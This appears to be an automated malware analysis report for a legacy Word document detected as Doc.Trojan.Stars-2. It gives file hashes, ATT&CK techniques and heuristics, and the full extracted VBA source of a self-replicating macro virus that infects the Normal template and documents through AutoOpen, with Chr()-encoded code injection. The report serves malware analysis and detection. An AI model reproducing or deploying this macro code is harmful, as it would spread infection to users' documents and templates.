Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7cad759a4bc0e911…

MALICIOUS

Office (OLE)

32.0 KB Created: 1999-11-05 14:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 726b9ee5d1341f9a18bf553cd54cda6a SHA-1: 98ecb402f31337e2a38e9fa97355d03af65a51e6 SHA-256: 7cad759a4bc0e9115f6447e4c9a16394b8ded2c877ccc5ad37eb555e47d3baab
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro is designed to execute code upon opening, which is a common technique for downloading and executing further malicious content. The ClamAV detection of 'Doc.Trojan.Stars-2' further supports its malicious nature. The VBA code attempts to add new code to the document and template, and potentially save the document in a different format.

Heuristics 4

  • ClamAV: Doc.Trojan.Stars-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Stars-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1306 bytes
SHA-256: 6d0a0b170bcc4a1e8131859d10691fbac061868da23c7474af9199f28feb46c9
Detection
ClamAV: Doc.Trojan.Stars-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
A = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 19)

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(20, 1) <> "'*'" Then _
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString _
Chr(83) & Chr(117) & Chr(98) & Chr(32) & Chr(65) & Chr(117) & Chr(116) & Chr(111) & Chr(67) & _
Chr(108) & Chr(111) & Chr(115) & Chr(101) & Chr(40) & Chr(41) & Chr(13) + Chr(10) & A

A = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 19)

If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(20, 1) <> "'*'" Then _
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString _
Chr(83) & Chr(117) & Chr(98) & Chr(32) & Chr(65) & Chr(117) & Chr(116) & Chr(111) & Chr(79) & _
Chr(112) & Chr(101) & Chr(110) & Chr(40) & Chr(41) & Chr(13) + Chr(10) & A

If ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate Then ActiveDocument.SaveAs FileFormat:=1
End Sub
'*'

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